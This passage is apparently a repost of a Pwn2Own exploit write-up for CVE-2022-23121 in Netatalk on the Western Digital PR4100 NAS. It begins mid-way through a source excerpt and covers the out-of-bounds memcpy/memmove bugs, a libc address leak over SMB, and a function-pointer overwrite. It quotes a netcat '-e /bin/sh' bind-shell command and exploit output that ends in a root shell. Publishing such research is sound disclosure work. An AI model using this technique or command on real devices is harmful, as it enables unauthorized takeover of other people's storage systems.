Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121)

IoT 2年前 (2022) admin
850 0 0
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_FINDERI_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDLEN_FINDERI);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);

    /* rfork */
    temp = htonl( EID_DISK(ADEID_RFORK) );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_RFORK_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl( ad->ad_rlen);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    return AD_DATASZ_OSX;
}

But if we look at the memcpy() argument in the debugger, we notice that the source argument is actually referenced from the stack and out of bound:

memcpy(0x7f423de20032, 0x7fffa499bbba, 32)
(gdb) info proc mappings 
...
          Start Addr           End Addr       Size     Offset objfile
      0x7fffa4923000     0x7fffa4969000    0x46000        0x0 [stack]
      0x7fffa49f9000     0x7fffa49fc000     0x3000        0x0 [vvar]
      0x7fffa49fc000     0x7fffa49fe000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

If you look at the ad_header_read_osx() code previously mentioned, you’ll notice it is confirmed since there is a struct adouble adosx; local variable (hence stored on the stack) that is passed all the way to ad_rebuild_adouble_header_osx().

So what does it mean? Well, the memcpy() writes 32 bytes from a stack controlled offset into the memory mapped file region. This means we can make it write arbitrary memory back into the file on disk. Then we can read the fork file (stored in the AppleDouble file format) using SMB and we can leak that content back to us.

That’s nice, but is there any libc.so address stored on the stack since we want to call system() which resides in libc.so?

It turns out there is one such address since main() is called from __libc_start_main():

.text:0000000000023FB0 __libc_start_main proc near 
...
.text:0000000000024099                 call    rax             ; main()
.text:000000000002409B
.text:000000000002409B loc_2409B:                              ; CODE XREF: __libc_start_main+15A↓j
.text:000000000002409B                 mov     edi, eax
.text:000000000002409D                 call    __GI_exit

Wrapping up

By default on the Western Digital PR4100, we can read and write files both in AFP and SMB without requiring authentication, as long as we do it on the Public share.

We also know that an afpd child process is forked from the afpd parent process to handle every client connection. This means that every child process has the same randomisation for all already loaded libraries.

To trigger the vulnerability, we need that a mooncake regular file exists, as well as a careful crafted associated ._mooncake fork file in the same directory. Then we can call the “FPOpenFork” command over AFP on the mooncake file and it parses the ._mooncake fork file (stored in the AppleDouble file format). It ends up calling the ad_convert_osx() function which is responsible for converting the Apple’s AppleDouble file to a simplified version implemented in Netatalk.

So we first start by creating the mooncake file. We do it using AFP but we think we could have done it using SMB too. Then we want to trigger the vulnerability twice.

The first time, we craft the ._mooncake fork file to abuse the memcpy() in ad_rebuild_adouble_header_osx(). When triggering the vulnerability:

  • The ._mooncake original fork file is mapped in memory with mmap()
  • The memcpy() function writes the return address in __libc_start_main() into the mapped region
  • The munmap() function is called and that data is saved into the ._mooncake fork file on disk.
  • We can leak that data back to us by reading the ._mooncake fork file over SMB (as if it was a regular file)

This allows deducing the libc.so base address and computing the system() address.

The second time, we craft the ._mooncake fork file to abuse the memmove() in ad_convert_osx(). When triggering the vulnerability:

  • The ._mooncake original fork file is mapped in memory with mmap()
  • The memmove() function overwrites the ld.so .data section to corrupt the rtld_local._dl_rtld_lock_recursive function pointer with the system() address and the rtld_local._dl_load_lock data with the shell command to execute
  • The memcpy() function crashes due to an invalid access to an unmapped stack address
  • The exception handler registered in Netatalk calls into dl_open() which makes it call system() on our arbitrary shell command

We chose to preliminary drop a statically compiled netcat using SMB and execute it from the following path: /mnt/HD/HD_a2/Public/tools/netcat -nvlp 9999 -e /bin/sh.

Below is the exploit in action:

# ./mooncake.py -i 192.168.1.3
(12:26:23) [*] Triggering leak...
(12:26:27) [*] Connected to AFP server
(12:26:27) [*] Leaked libc return address: 0x7f45e23f809b
(12:26:27) [*] libc base: 0x7f45e23d4000
(12:26:27) [*] Triggering system() call...
(12:26:27) [*] Using system address: 0x7f45e24189c0
(12:26:27) [*] Connected to AFP server
(12:26:29) [*] Connection timeout detected :)
(12:26:30) [*] Spawning a shell. Type any command.
uname -a
Linux MyCloudPR4100 4.14.22 #1 SMP Mon Dec 21 02:16:13 UTC 2020 Build-32 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) euid=501(nobody) egid=1000(share) groups=1000(share)
pwd
/mnt/HD/HD_a2/Public/edg

Pwn2Own Note

Whilst using the exploit within the competition, the exploit failed on the first attempt during the leak phase. We guessed that this may have been a timing issue with the environment compared to our test environment. Therefore we modified the code to introduce a ‘sleep()’ before leaking to ensure that samba would return the data modified by vulnerable AFP code. Our second attempt got the leak working but failed when trying to connect over telnet, so we added another ‘sleep()’ before connecting over telnet to ensure that the ‘system()’ command was executed correctly. Luckily this worked and this shows that just adding more sleeps is enough to fix unreliable exploits and we were successful on our third and final attempt Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121)

 

 

原文始发于Nccgroup(Alex Plaskett):Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121)

版权声明:admin 发表于 2022年3月26日 上午9:35。
转载请注明:Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...